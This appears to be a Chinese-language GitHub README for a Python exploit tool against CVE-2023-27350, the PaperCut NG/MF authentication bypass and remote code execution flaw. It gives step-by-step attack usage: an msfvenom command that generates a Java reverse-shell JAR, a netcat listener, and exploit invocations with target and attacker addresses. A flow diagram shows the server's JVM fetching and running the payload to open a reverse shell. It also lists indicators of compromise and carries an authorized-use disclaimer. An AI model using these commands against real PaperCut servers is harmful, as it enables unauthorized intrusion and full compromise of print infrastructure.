joaoaugustom/PaperCut-Authentication_Bypass_and_RCE
GitHub: joaoaugustom/PaperCut-Authentication_Bypass_and_RCE
CVE-2023-27350 漏洞利用工具,实现 PaperCut NG/MF 远程代码执行。
Stars: 0 | Forks: 0
# CVE-2023-27350 — PaperCut NG/MF 认证绕过与远程代码执行漏洞
针对 PaperCut NG/MF 中严重认证绕过和远程代码执行漏洞的独立 Python 漏洞利用程序。CVSS 9.8。
## 描述
CVE-2023-27350 影响 PaperCut NG 和 MF 的版本,包括 20.1.7、21.2.11 和 22.0.9 之前的版本。该漏洞允许未经身份验证的攻击者访问 `/app?service=page/SetupCompleted` 端点——这是一个仅在初始安装期间可访问的设置页面——并获得一个有效的管理会话,而无需任何凭证。
获得管理员访问权限后,攻击者可以启用 PaperCut 的打印脚本机制,并注入由服务器 JVM 执行的任意代码,从而导致在服务用户上下文中完全的远程代码执行。
## 受影响版本
| 分支 | 修复版本 |
|------|----------|
| 20.x | 20.1.7 |
| 21.x | 21.2.11 |
| 22.x | 22.0.9 |
版本 18.x 及更早版本未收到官方补丁。
## 参考实现
此漏洞利用程序是从分析两个公开实现中开发的:
### horizon3ai/CVE-2023-27350 (Python)
- **仓库:** https://github.com/horizon3ai/CVE-2023-27350
- **方法:** 使用 `Runtime.exec()` 以纯字符串形式运行命令
- **限制:** `Runtime.exec(String)` 不处理 shell 元字符 (`>&`、`|`、`0>&1`),使得反向 shell 负载无效。脚本还硬编码了打印机 ID (`l1001`) 并检查仅英文的成功字符串,在非英文实例上失败
- **错误的引擎假设:** 未考虑 PaperCut 使用 RhinoJS(而非 BeanShell),这导致某些 Java 负载中的语法错误
### 2. rapid7/metasploit-framework — PaperCutNG 认证绕过
- **模块:** `exploit/multi/http/papercut_ng_rce`
- **方法:** 通过 `URLClassLoader` 将 Metasploit JAR 载入 JVM,避免任何 shell 依赖
- **限制:** 需要完整的 Metasploit 框架并生成 Java/Meterpreter 负载;不易于使用 `nc` 独立使用
## 要求
```
Python 3.x
requests
msfvenom (part of Metasploit Framework)
nc (netcat)
```
```
pip install requests
```
## 使用方法
**1. 生成 JAR 负载**
```
msfvenom -p java/shell_reverse_tcp \
LHOST= LPORT= \
-f jar -o payload.jar
```
**2. 启动监听器**
```
nc -lvnp
```
**3. 运行漏洞利用程序**
```
python exploit.py \
-u http://:9191 \
-j payload.jar \
-lh \
-lp \
-rp
```
**示例:**
```
python exploit.py \
-u http://192.168.1.100:9191 \
-j payload.jar \
-lh 192.168.1.10 \
-lp 9090 \
-rp 4444
```
## 参数
| 参数 | 描述 | 默认值 |
|-----|------|-------|
| `-u` / `--url` | PaperCut 基础 URL | 必需的 |
| `-j` / `--jar` | 负载.jar 的路径 | 必需的 |
| `-lh` / `--lhost` | 您的 IP(目标将连接到这里) | 必需的 |
| `-lp` / `--lport` | 服务器上提供 JAR 的 HTTP 端口 | 9090 |
| `-rp` / `--rport` | 反向 shell 端口 | 4444 |
## 工作原理
```
1. Auth bypass via /app?service=page/SetupCompleted
↓
2. Obtain admin JSESSIONID without credentials
↓
3. Select [Template Printer] (l1001)
↓
4. Inject RhinoJS script into the print script field
↓
5. Script creates a URLClassLoader pointing to our HTTP server
↓
6. PaperCut JVM downloads and executes payload.jar
↓
7. Reverse shell
```
## 犯罪指标 (IoC)
- 在没有先前会话的情况下访问 `/app?service=page/SetupCompleted`
- 修改 `print-and-device.script.enabled` 和 `print.script.sandboxed` 设置(版本 >= 19)
- PaperCut 服务器到外部 IP 的出站 HTTP 连接
- JVM 日志中的 `URLClassLoader` 实例化带有外部 URL
## 法律免责声明
此漏洞利用程序仅提供用于教育目的和授权使用(渗透测试、CTF、实验室环境)。未经明确许可对系统进行未授权使用是非法的。作者不对任何滥用行为负责。
标签:威胁模拟, 逆向工具